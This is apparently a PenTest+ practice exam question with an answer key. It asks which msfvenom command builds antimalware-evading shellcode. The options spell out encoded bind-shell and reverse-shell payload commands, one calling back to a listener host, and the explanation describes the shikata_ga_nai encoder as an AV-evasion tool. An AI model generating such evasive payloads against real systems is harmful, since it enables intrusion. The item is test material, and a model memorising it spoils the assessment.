PT0-003 practice question 9 of 30

[Attacks and Exploits] A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?

Full set: 351 questions
Answer options
A: msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443 Correct answer
B: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C: msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none
D: net user add /administrator | hexdump > payload
Correct Answer:
A. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
Explanation

The primary goal is to prevent a payload from being blocked by antimalware. The command in option A utilizes msfvenom with the --encoder x86-64/shikataganai flag. Encoders are used to obfuscate shellcode, altering its signature to evade detection by signature-based security solutions like antimalware. The shikataganai encoder is a well-known polymorphic encoder designed for this purpose. By encoding the windows/bindtcp payload, the tester is actively attempting to bypass the target's defenses, which directly addresses the question's requirement.

Why Incorrect

B. This command generates a valid Meterpreter payload but does not use an encoder, making it highly susceptible to signature-based detection by antimalware.
C. This command also generates a valid shell payload but omits the crucial --encoder flag needed for antimalware evasion.
D. This is not a valid method for creating functional shellcode. It attempts to pipe the output of a Windows command into a Linux utility, which would not result in an executable payload.

References

1. Offensive Security. (n.d.). Metasploit Unleashed: Msfvenom. Offensive Security. In the "Encoders" section

the documentation states

"Encoders are used to encode the payload to try and avoid AV." It lists x86/shikataganai as a prime example of an encoder used for this purpose. (Reference: Metasploit Unleashed courseware

Msfvenom section).

2. Al-Taharwa

I. A.

Lee

H.

& Al-Omari

M. A. (2020). Evaluating the Evasion Capabilities of Metasploit Shellcode Encoders. 2020 21st International Conference on Control

Automation and Systems (ICCAS). The paper analyzes various encoders

noting in Section III-A

"Shikata Ga Nai (SGN) is a polymorphic XOR additive feedback encoder... It is one of the most famous encoders in MSF because it can generate different output for the same input." This highlights its role in creating varied signatures to evade detection. (DOI: https://doi.org/10.1109/ICCAS50273.2020.9295211

Section III-A

"Metasploit Encoders").

3. Rapid7. (2023). How to Use Msfvenom. Official Rapid7 Documentation. The documentation for msfvenom details the use of the -e or --encoder option to "specify an encoder to use." This confirms that applying an encoder is a standard

intentional step in the payload generation process for evasion. (Reference: msfvenom --help command output and official product documentation).

Scroll to Top